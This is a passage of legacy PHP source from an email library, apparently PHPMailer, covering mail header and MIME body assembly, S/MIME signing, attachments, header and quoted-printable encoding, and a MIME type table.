2218 } elseif (count($this->cc) == 0) {
2219 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2220 }
2221 if(count($this->cc) > 0) {
2222 $result .= $this->AddrAppend('Cc', $this->cc);
2223 }
2224 }
2225
2226 $from = array();
2227 $from[0][0] = trim($this->From);
2228 $from[0][1] = $this->FromName;
2229 $result .= $this->AddrAppend('From', $from);
2230
2231 /* sendmail and mail() extract Cc from the header before sending */
2232 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2233 $result .= $this->AddrAppend('Cc', $this->cc);
2234 }
2235
2236 /* sendmail and mail() extract Bcc from the header before sending */
2237 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2238 $result .= $this->AddrAppend('Bcc', $this->bcc);
2239 }
2240 if($replyto != "")
2241 {
2242 if(count($this->ReplyTo) > 0) {
2243 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2244 }
2245 }
2246 /* mail() sets the subject itself */
2247 if($this->Mailer != 'mail') {
2248 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2249 }
2250
2251 if($this->MessageID != '') {
2252 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2253 } else {
2254 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2255 }
2256 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2257 if($this->ConfirmReadingTo != '') {
2258 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2259 }
2260
2261 // Add custom headers
2262 for($index = 0; $index < count($this->CustomHeader); $index++) {
2263 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2264 }
2265 if (!$this->sign_key_file) {
2266 $result .= $this->HeaderLine('MIME-Version', '1.0');
2267 $result .= $this->GetMailMIME();
2268 }
2269
2270 return $result;
2271 }
2272
2273 /**
2274 * Returns the message MIME.
2275 * @access private
2276 * @return string
2277 */
2278 function GetMailMIME() {
2279 $result = '';
2280 switch($this->message_type) {
2281 case 'plain':
2282 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2283 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2284 break;
2285 case 'attachments':
2286 /* fall through */
2287 case 'alt_attachments':
2288 if($this->InlineImageExists()){
2289 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2290 } else {
2291 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2292 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2293 }
2294 break;
2295 case 'alt':
2296 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2297 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2298 break;
2299 }
2300
2301 if($this->Mailer != 'mail') {
2302 $result .= $this->LE.$this->LE;
2303 }
2304
2305 return $result;
2306 }
2307
2308 /**
2309 * Assembles the message body. Returns an empty string on failure.
2310 * @access private
2311 * @return string
2312 */
2313 function CreateBody() {
2314 $result = '';
2315 if ($this->sign_key_file) {
2316 $result .= $this->GetMailMIME();
2317 }
2318
2319 $this->SetWordWrap();
2320
2321 switch($this->message_type) {
2322 case 'alt':
2323 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2324 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2325 $result .= $this->LE.$this->LE;
2326 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2327 $result .= $this->EncodeString($this->Body, $this->Encoding);
2328 $result .= $this->LE.$this->LE;
2329 $result .= $this->EndBoundary($this->boundary[1]);
2330 break;
2331 case 'plain':
2332 $result .= $this->EncodeString($this->Body, $this->Encoding);
2333 break;
2334 case 'attachments':
2335 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2336 $result .= $this->EncodeString($this->Body, $this->Encoding);
2337 $result .= $this->LE;
2338 $result .= $this->AttachAll();
2339 break;
2340 case 'alt_attachments':
2341 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2342 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2343 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2344 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2345 $result .= $this->LE.$this->LE;
2346 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2347 $result .= $this->EncodeString($this->Body, $this->Encoding);
2348 $result .= $this->LE.$this->LE;
2349 $result .= $this->EndBoundary($this->boundary[2]);
2350 $result .= $this->AttachAll();
2351 break;
2352 }
2353
2354 if($this->IsError()) {
2355 $result = '';
2356 } else if ($this->sign_key_file) {
2357 $file = tempnam("", "mail");
2358 $fp = fopen($file, "w");
2359 fwrite($fp, $result);
2360 fclose($fp);
2361 $signed = tempnam("", "signed");
2362
2363 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2364 $fp = fopen($signed, "r");
2365 $result = fread($fp, filesize($this->sign_key_file));
2366 fclose($fp);
2367 } else {
2368 $this->SetError($this->Lang("signing").openssl_error_string());
2369 $result = '';
2370 }
2371
2372 unlink($file);
2373 unlink($signed);
2374 }
2375
2376 return $result;
2377 }
2378
2379 /**
2380 * Returns the start of a message boundary.
2381 * @access private
2382 */
2383 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2384 $result = '';
2385 if($charSet == '') {
2386 $charSet = $this->CharSet;
2387 }
2388 if($contentType == '') {
2389 $contentType = $this->ContentType;
2390 }
2391 if($encoding == '') {
2392 $encoding = $this->Encoding;
2393 }
2394 $result .= $this->TextLine('--' . $boundary);
2395 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2396 $result .= $this->LE;
2397 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2398 $result .= $this->LE;
2399
2400 return $result;
2401 }
2402
2403 /**
2404 * Returns the end of a message boundary.
2405 * @access private
2406 */
2407 function EndBoundary($boundary) {
2408 return $this->LE . '--' . $boundary . '--' . $this->LE;
2409 }
2410
2411 /**
2412 * Sets the message type.
2413 * @access private
2414 * @return void
2415 */
2416 function SetMessageType() {
2417 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2418 $this->message_type = 'plain';
2419 } else {
2420 if(count($this->attachment) > 0) {
2421 $this->message_type = 'attachments';
2422 }
2423 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2424 $this->message_type = 'alt';
2425 }
2426 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2427 $this->message_type = 'alt_attachments';
2428 }
2429 }
2430 }
2431
2432 /* Returns a formatted header line.
2433 * @access private
2434 * @return string
2435 */
2436 function HeaderLine($name, $value) {
2437 return $name . ': ' . $value . $this->LE;
2438 }
2439
2440 /**
2441 * Returns a formatted mail line.
2442 * @access private
2443 * @return string
2444 */
2445 function TextLine($value) {
2446 return $value . $this->LE;
2447 }
2448
2449 /////////////////////////////////////////////////
2450 // CLASS METHODS, ATTACHMENTS
2451 /////////////////////////////////////////////////
2452
2453 /**
2454 * Adds an attachment from a path on the filesystem.
2455 * Returns false if the file could not be found
2456 * or accessed.
2457 * @param string $path Path to the attachment.
2458 * @param string $name Overrides the attachment name.
2459 * @param string $encoding File encoding (see $Encoding).
2460 * @param string $type File extension (MIME) type.
2461 * @return bool
2462 */
2463 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2464 if(!@is_file($path)) {
2465 $this->SetError($this->Lang('file_access') . $path);
2466 return false;
2467 }
2468
2469 $filename = basename($path);
2470 if($name == '') {
2471 $name = $filename;
2472 }
2473
2474 $cur = count($this->attachment);
2475 $this->attachment[$cur][0] = $path;
2476 $this->attachment[$cur][1] = $filename;
2477 $this->attachment[$cur][2] = $name;
2478 $this->attachment[$cur][3] = $encoding;
2479 $this->attachment[$cur][4] = $type;
2480 $this->attachment[$cur][5] = false; // isStringAttachment
2481 $this->attachment[$cur][6] = 'attachment';
2482 $this->attachment[$cur][7] = 0;
2483
2484 return true;
2485 }
2486
2487 /**
2488 * Attaches all fs, string, and binary attachments to the message.
2489 * Returns an empty string on failure.
2490 * @access private
2491 * @return string
2492 */
2493 function AttachAll() {
2494 /* Return text of body */
2495 $mime = array();
2496
2497 /* Add all attachments */
2498 for($i = 0; $i < count($this->attachment); $i++) {
2499 /* Check for string attachment */
2500 $bString = $this->attachment[$i][5];
2501 if ($bString) {
2502 $string = $this->attachment[$i][0];
2503 } else {
2504 $path = $this->attachment[$i][0];
2505 }
2506
2507 $filename = $this->attachment[$i][1];
2508 $name = $this->attachment[$i][2];
2509 $encoding = $this->attachment[$i][3];
2510 $type = $this->attachment[$i][4];
2511 $disposition = $this->attachment[$i][6];
2512 $cid = $this->attachment[$i][7];
2513
2514 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2515 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2516 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2517
2518 if($disposition == 'inline') {
2519 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2520 }
2521
2522 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2523
2524 /* Encode as string attachment */
2525 if($bString) {
2526 $mime[] = $this->EncodeString($string, $encoding);
2527 if($this->IsError()) {
2528 return '';
2529 }
2530 $mime[] = $this->LE.$this->LE;
2531 } else {
2532 $mime[] = $this->EncodeFile($path, $encoding);
2533 if($this->IsError()) {
2534 return '';
2535 }
2536 $mime[] = $this->LE.$this->LE;
2537 }
2538 }
2539
2540 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2541
2542 return join('', $mime);
2543 }
2544
2545 /**
2546 * Encodes attachment in requested format. Returns an
2547 * empty string on failure.
2548 * @access private
2549 * @return string
2550 */
2551 function EncodeFile ($path, $encoding = 'base64') {
2552 if(!@$fd = fopen($path, 'rb')) {
2553 $this->SetError($this->Lang('file_open') . $path);
2554 return '';
2555 }
2556 $magic_quotes = get_magic_quotes_runtime();
2557 set_magic_quotes_runtime(0);
2558 $file_buffer = fread($fd, filesize($path));
2559 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2560 fclose($fd);
2561 set_magic_quotes_runtime($magic_quotes);
2562
2563 return $file_buffer;
2564 }
2565
2566 /**
2567 * Encodes string to requested format. Returns an
2568 * empty string on failure.
2569 * @access private
2570 * @return string
2571 */
2572 function EncodeString ($str, $encoding = 'base64') {
2573 $encoded = '';
2574 switch(strtolower($encoding)) {
2575 case 'base64':
2576 /* chunk_split is found in PHP >= 3.0.6 */
2577 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2578 break;
2579 case '7bit':
2580 case '8bit':
2581 $encoded = $this->FixEOL($str);
2582 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2583 $encoded .= $this->LE;
2584 break;
2585 case 'binary':
2586 $encoded = $str;
2587 break;
2588 case 'quoted-printable':
2589 $encoded = $this->EncodeQP($str);
2590 break;
2591 default:
2592 $this->SetError($this->Lang('encoding') . $encoding);
2593 break;
2594 }
2595 return $encoded;
2596 }
2597
2598 /**
2599 * Encode a header string to best of Q, B, quoted or none.
2600 * @access private
2601 * @return string
2602 */
2603 function EncodeHeader ($str, $position = 'text') {
2604 $x = 0;
2605
2606 switch (strtolower($position)) {
2607 case 'phrase':
2608 if (!preg_match('/[\200-\377]/', $str)) {
2609 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2610 $encoded = addcslashes($str, "\0..\37\177\\\"");
2611 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2612 return ($encoded);
2613 } else {
2614 return ("\"$encoded\"");
2615 }
2616 }
2617 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2618 break;
2619 case 'comment':
2620 $x = preg_match_all('/[()"]/', $str, $matches);
2621 /* Fall-through */
2622 case 'text':
2623 default:
2624 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2625 break;
2626 }
2627
2628 if ($x == 0) {
2629 return ($str);
2630 }
2631
2632 $maxlen = 75 - 7 - strlen($this->CharSet);
2633 /* Try to select the encoding which should produce the shortest output */
2634 if (strlen($str)/3 < $x) {
2635 $encoding = 'B';
2636 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2637 // Use a custom function which correctly encodes and wraps long
2638 // multibyte strings without breaking lines within a character
2639 $encoded = $this->Base64EncodeWrapMB($str);
2640 } else {
2641 $encoded = base64_encode($str);
2642 $maxlen -= $maxlen % 4;
2643 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2644 }
2645 } else {
2646 $encoding = 'Q';
2647 $encoded = $this->EncodeQ($str, $position);
2648 $encoded = $this->WrapText($encoded, $maxlen, true);
2649 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2650 }
2651
2652 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2653 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2654
2655 return $encoded;
2656 }
2657
2658 /**
2659 * Checks if a string contains multibyte characters.
2660 * @access private
2661 * @param string $str multi-byte text to wrap encode
2662 * @return bool
2663 */
2664 function HasMultiBytes($str) {
2665 if (function_exists('mb_strlen')) {
2666 return (strlen($str) > mb_strlen($str, $this->CharSet));
2667 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2668 return False;
2669 }
2670 }
2671
2672 /**
2673 * Correctly encodes and wraps long multibyte strings for mail headers
2674 * without breaking lines within a character.
2675 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2676 * @access private
2677 * @param string $str multi-byte text to wrap encode
2678 * @return string
2679 */
2680 function Base64EncodeWrapMB($str) {
2681 $start = "=?".$this->CharSet."?B?";
2682 $end = "?=";
2683 $encoded = "";
2684
2685 $mb_length = mb_strlen($str, $this->CharSet);
2686 // Each line must have length <= 75, including $start and $end
2687 $length = 75 - strlen($start) - strlen($end);
2688 // Average multi-byte ratio
2689 $ratio = $mb_length / strlen($str);
2690 // Base64 has a 4:3 ratio
2691 $offset = $avgLength = floor($length * $ratio * .75);
2692
2693 for ($i = 0; $i < $mb_length; $i += $offset) {
2694 $lookBack = 0;
2695
2696 do {
2697 $offset = $avgLength - $lookBack;
2698 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2699 $chunk = base64_encode($chunk);
2700 $lookBack++;
2701 }
2702 while (strlen($chunk) > $length);
2703
2704 $encoded .= $chunk . $this->LE;
2705 }
2706
2707 // Chomp the last linefeed
2708 $encoded = substr($encoded, 0, -strlen($this->LE));
2709 return $encoded;
2710 }
2711
2712 /**
2713 * Encode string to quoted-printable.
2714 * @access private
2715 * @return string
2716 */
2717 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2718 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2719 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2720 $eol = "\r\n";
2721 $escape = '=';
2722 $output = '';
2723 while( list(, $line) = each($lines) ) {
2724 $linlen = strlen($line);
2725 $newline = '';
2726 for($i = 0; $i < $linlen; $i++) {
2727 $c = substr( $line, $i, 1 );
2728 $dec = ord( $c );
2729 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2730 $c = '=2E';
2731 }
2732 if ( $dec == 32 ) {
2733 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2734 $c = '=20';
2735 } else if ( $space_conv ) {
2736 $c = '=20';
2737 }
2738 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2739 $h2 = floor($dec/16);
2740 $h1 = floor($dec%16);
2741 $c = $escape.$hex[$h2].$hex[$h1];
2742 }
2743 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2744 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2745 $newline = '';
2746 // check if newline first character will be point or not
2747 if ( $dec == 46 ) {
2748 $c = '=2E';
2749 }
2750 }
2751 $newline .= $c;
2752 } // end of for
2753 $output .= $newline.$eol;
2754 } // end of while
2755 return trim($output);
2756 }
2757
2758 /**
2759 * Encode string to q encoding.
2760 * @access private
2761 * @return string
2762 */
2763 function EncodeQ ($str, $position = 'text') {
2764 /* There should not be any EOL in the string */
2765 $encoded = preg_replace("[\r\n]", '', $str);
2766
2767 switch (strtolower($position)) {
2768 case 'phrase':
2769 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2770 break;
2771 case 'comment':
2772 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2773 case 'text':
2774 default:
2775 /* Replace every high ascii, control =, ? and _ characters */
2776 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2777 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2778 break;
2779 }
2780
2781 /* Replace every spaces to _ (more readable than =20) */
2782 $encoded = str_replace(' ', '_', $encoded);
2783
2784 return $encoded;
2785 }
2786
2787 /**
2788 * Adds a string or binary attachment (non-filesystem) to the list.
2789 * This method can be used to attach ascii or binary data,
2790 * such as a BLOB record from a database.
2791 * @param string $string String attachment data.
2792 * @param string $filename Name of the attachment.
2793 * @param string $encoding File encoding (see $Encoding).
2794 * @param string $type File extension (MIME) type.
2795 * @return void
2796 */
2797 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2798 /* Append to $attachment array */
2799 $cur = count($this->attachment);
2800 $this->attachment[$cur][0] = $string;
2801 $this->attachment[$cur][1] = $filename;
2802 $this->attachment[$cur][2] = $filename;
2803 $this->attachment[$cur][3] = $encoding;
2804 $this->attachment[$cur][4] = $type;
2805 $this->attachment[$cur][5] = true; // isString
2806 $this->attachment[$cur][6] = 'attachment';
2807 $this->attachment[$cur][7] = 0;
2808 }
2809
2810 /**
2811 * Adds an embedded attachment. This can include images, sounds, and
2812 * just about any other document. Make sure to set the $type to an
2813 * image type. For JPEG images use "image/jpeg" and for GIF images
2814 * use "image/gif".
2815 * @param string $path Path to the attachment.
2816 * @param string $cid Content ID of the attachment. Use this to identify
2817 * the Id for accessing the image in an HTML form.
2818 * @param string $name Overrides the attachment name.
2819 * @param string $encoding File encoding (see $Encoding).
2820 * @param string $type File extension (MIME) type.
2821 * @return bool
2822 */
2823 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2824
2825 if(!@is_file($path)) {
2826 $this->SetError($this->Lang('file_access') . $path);
2827 return false;
2828 }
2829
2830 $filename = basename($path);
2831 if($name == '') {
2832 $name = $filename;
2833 }
2834
2835 /* Append to $attachment array */
2836 $cur = count($this->attachment);
2837 $this->attachment[$cur][0] = $path;
2838 $this->attachment[$cur][1] = $filename;
2839 $this->attachment[$cur][2] = $name;
2840 $this->attachment[$cur][3] = $encoding;
2841 $this->attachment[$cur][4] = $type;
2842 $this->attachment[$cur][5] = false;
2843 $this->attachment[$cur][6] = 'inline';
2844 $this->attachment[$cur][7] = $cid;
2845
2846 return true;
2847 }
2848
2849 /**
2850 * Returns true if an inline attachment is present.
2851 * @access private
2852 * @return bool
2853 */
2854 function InlineImageExists() {
2855 $result = false;
2856 for($i = 0; $i < count($this->attachment); $i++) {
2857 if($this->attachment[$i][6] == 'inline') {
2858 $result = true;
2859 break;
2860 }
2861 }
2862
2863 return $result;
2864 }
2865
2866 /////////////////////////////////////////////////
2867 // CLASS METHODS, MESSAGE RESET
2868 /////////////////////////////////////////////////
2869
2870 /**
2871 * Clears all recipients assigned in the TO array. Returns void.
2872 * @return void
2873 */
2874 function ClearAddresses() {
2875 $this->to = array();
2876 }
2877
2878 /**
2879 * Clears all recipients assigned in the CC array. Returns void.
2880 * @return void
2881 */
2882 function ClearCCs() {
2883 $this->cc = array();
2884 }
2885
2886 /**
2887 * Clears all recipients assigned in the BCC array. Returns void.
2888 * @return void
2889 */
2890 function ClearBCCs() {
2891 $this->bcc = array();
2892 }
2893
2894 /**
2895 * Clears all recipients assigned in the ReplyTo array. Returns void.
2896 * @return void
2897 */
2898 function ClearReplyTos() {
2899 $this->ReplyTo = array();
2900 }
2901
2902 /**
2903 * Clears all recipients assigned in the TO, CC and BCC
2904 * array. Returns void.
2905 * @return void
2906 */
2907 function ClearAllRecipients() {
2908 $this->to = array();
2909 $this->cc = array();
2910 $this->bcc = array();
2911 }
2912
2913 /**
2914 * Clears all previously set filesystem, string, and binary
2915 * attachments. Returns void.
2916 * @return void
2917 */
2918 function ClearAttachments() {
2919 $this->attachment = array();
2920 }
2921
2922 /**
2923 * Clears all custom headers. Returns void.
2924 * @return void
2925 */
2926 function ClearCustomHeaders() {
2927 $this->CustomHeader = array();
2928 }
2929
2930 /////////////////////////////////////////////////
2931 // CLASS METHODS, MISCELLANEOUS
2932 /////////////////////////////////////////////////
2933
2934 /**
2935 * Adds the error message to the error container.
2936 * Returns void.
2937 * @access private
2938 * @return void
2939 */
2940 function SetError($msg) {
2941 $this->error_count++;
2942 $this->ErrorInfo = $msg;
2943 }
2944
2945 /**
2946 * Returns the proper RFC 822 formatted date.
2947 * @access private
2948 * @return string
2949 */
2950 function RFCDate() {
2951 $tz = date('Z');
2952 $tzs = ($tz < 0) ? '-' : '+';
2953 $tz = abs($tz);
2954 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2955 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2956
2957 return $result;
2958 }
2959
2960 /**
2961 * Returns the appropriate server variable. Should work with both
2962 * PHP 4.1.0+ as well as older versions. Returns an empty string
2963 * if nothing is found.
2964 * @access private
2965 * @return mixed
2966 */
2967 function ServerVar($varName) {
2968 global $HTTP_SERVER_VARS;
2969 global $HTTP_ENV_VARS;
2970
2971 if(!isset($_SERVER)) {
2972 $_SERVER = $HTTP_SERVER_VARS;
2973 if(!isset($_SERVER['REMOTE_ADDR'])) {
2974 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2975 }
2976 }
2977
2978 if(isset($_SERVER[$varName])) {
2979 return $_SERVER[$varName];
2980 } else {
2981 return '';
2982 }
2983 }
2984
2985 /**
2986 * Returns the server hostname or 'localhost.localdomain' if unknown.
2987 * @access private
2988 * @return string
2989 */
2990 function ServerHostname() {
2991 if ($this->Hostname != '') {
2992 $result = $this->Hostname;
2993 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2994 $result = $this->ServerVar('SERVER_NAME');
2995 } else {
2996 $result = 'localhost.localdomain';
2997 }
2998
2999 return $result;
3000 }
3001
3002 /**
3003 * Returns a message in the appropriate language.
3004 * @access private
3005 * @return string
3006 */
3007 function Lang($key) {
3008 if(count($this->language) < 1) {
3009 $this->SetLanguage('en'); // set the default language
3010 }
3011
3012 if(isset($this->language[$key])) {
3013 return $this->language[$key];
3014 } else {
3015 return 'Language string failed to load: ' . $key;
3016 }
3017 }
3018
3019 /**
3020 * Returns true if an error occurred.
3021 * @return bool
3022 */
3023 function IsError() {
3024 return ($this->error_count > 0);
3025 }
3026
3027 /**
3028 * Changes every end of line from CR or LF to CRLF.
3029 * @access private
3030 * @return string
3031 */
3032 function FixEOL($str) {
3033 $str = str_replace("\r\n", "\n", $str);
3034 $str = str_replace("\r", "\n", $str);
3035 $str = str_replace("\n", $this->LE, $str);
3036 return $str;
3037 }
3038
3039 /**
3040 * Adds a custom header.
3041 * @return void
3042 */
3043 function AddCustomHeader($custom_header) {
3044 $this->CustomHeader[] = explode(':', $custom_header, 2);
3045 }
3046
3047 /**
3048 * Evaluates the message and returns modifications for inline images and backgrounds
3049 * @access public
3050 * @return $message
3051 */
3052 function MsgHTML($message,$basedir='') {
3053 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3054 if(isset($images[2])) {
3055 foreach($images[2] as $i => $url) {
3056 // do not change urls for absolute images (thanks to corvuscorax)
3057 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3058 $filename = basename($url);
3059 $directory = dirname($url);
3060 ($directory == '.')?$directory='':'';
3061 $cid = 'cid:' . md5($filename);
3062 $fileParts = split("\.", $filename);
3063 $ext = $fileParts[1];
3064 $mimeType = $this->_mime_types($ext);
3065 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3066 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3067 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3068 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3069 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3070 }
3071 }
3072 }
3073 }
3074 $this->IsHTML(true);
3075 $this->Body = $message;
3076 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3077 if ( !empty($textMsg) && empty($this->AltBody) ) {
3078 $this->AltBody = $textMsg;
3079 }
3080 if ( empty($this->AltBody) ) {
3081 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3082 }
3083 }
3084
3085 /**
3086 * Gets the mime type of the embedded or inline image
3087 * @access private
3088 * @return mime type of ext
3089 */
3090 function _mime_types($ext = '') {
3091 $mimes = array(
3092 'hqx' => 'application/mac-binhex40',
3093 'cpt' => 'application/mac-compactpro',
3094 'doc' => 'application/msword',
3095 'bin' => 'application/macbinary',
3096 'dms' => 'application/octet-stream',
3097 'lha' => 'application/octet-stream',
3098 'lzh' => 'application/octet-stream',
3099 'exe' => 'application/octet-stream',
3100 'class' => 'application/octet-stream',
3101 'psd' => 'application/octet-stream',
3102 'so' => 'application/octet-stream',
3103 'sea' => 'application/octet-stream',
3104 'dll' => 'application/octet-stream',
3105 'oda' => 'application/oda',
3106 'pdf' => 'application/pdf',
3107 'ai' => 'application/postscript',
3108 'eps' => 'application/postscript',
3109 'ps' => 'application/postscript',
3110 'smi' => 'application/smil',
3111 'smil' => 'application/smil',
3112 'mif' => 'application/vnd.mif',
3113 'xls' => 'application/vnd.ms-excel',
3114 'ppt' => 'application/vnd.ms-powerpoint',
3115 'wbxml' => 'application/vnd.wap.wbxml',
3116 'wmlc' => 'application/vnd.wap.wmlc',
3117 'dcr' => 'application/x-director',
3118 'dir' => 'application/x-director',
3119 'dxr' => 'application/x-director',
3120 'dvi' => 'application/x-dvi',
3121 'gtar' => 'application/x-gtar',
3122 'php' => 'application/x-httpd-php',
3123 'php4' => 'application/x-httpd-php',
3124 'php3' => 'application/x-httpd-php',
3125 'phtml' => 'application/x-httpd-php',
3126 'phps' => 'application/x-httpd-php-source',
3127 'js' => 'application/x-javascript',
3128 'swf' => 'application/x-shockwave-flash',
3129 'sit' => 'application/x-stuffit',
3130 'tar' => 'application/x-tar',
3131 'tgz' => 'application/x-tar',
3132 'xhtml' => 'application/xhtml+xml',
3133 'xht' => 'application/xhtml+xml',
3134 'zip' => 'application/zip',
3135 'mid' => 'audio/midi',
3136 'midi' => 'audio/midi',
3137 'mpga' => 'audio/mpeg',
3138 'mp2' => 'audio/mpeg',
3139 'mp3' => 'audio/mpeg',
3140 'aif' => 'audio/x-aiff',
3141 'aiff' => 'audio/x-aiff',
3142 'aifc' => 'audio/x-aiff',
3143 'ram' => 'audio/x-pn-realaudio',
3144 'rm' => 'audio/x-pn-realaudio',
3145 'rpm' => 'audio/x-pn-realaudio-plugin',
3146 'ra' => 'audio/x-realaudio',
3147 'rv' => 'video/vnd.rn-realvideo',
3148 'wav' => 'audio/x-wav',
3149 'bmp' => 'image/bmp',
3150 'gif' => 'image/gif',
3151 'jpeg' => 'image/jpeg',
3152 'jpg' => 'image/jpeg',
3153 'jpe' => 'image/jpeg',
3154 'png' => 'image/png',
3155 'tiff' => 'image/tiff',
3156 'tif' => 'image/tiff',
3157 'css' => 'text/css',
3158 'html' => 'text/html',
3159 'htm' => 'text/html',
3160 'shtml' => 'text/html',
3161 'txt' => 'text/plain',
3162 'text' => 'text/plain',
3163 'log' => 'text/plain',
3164 'rtx' => 'text/richtext',
3165 'rtf' => 'text/rtf',
3166 'xml' => 'text/xml',
3167 'xsl' => 'text/xml',
3168 'mpeg' => 'video/mpeg',
3169 'mpg' => 'video/mpeg',
3170 'mpe' => 'video/mpeg',
3171 'qt' => 'video/quicktime',
3172 'mov' => 'video/quicktime',
3173 'avi' => 'video/x-msvideo',
3174 'movie' => 'video/x-sgi-movie',
3175 'doc' => 'application/msword',
3176 'word' => 'application/msword',
3177 'xl' => 'application/excel',
3178 'eml' => 'message/rfc822'
3179 );
3180 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3181 }
3182
3183 /**
3184 * Set (or reset) Class Objects (variables)
3185 *
3186 * Usage Example:
3187 * $page->set('X-Priority', '3');
3188 *
3189 * @access public
3190 * @param string $name Parameter Name
3191 * @param mixed $value Parameter Value
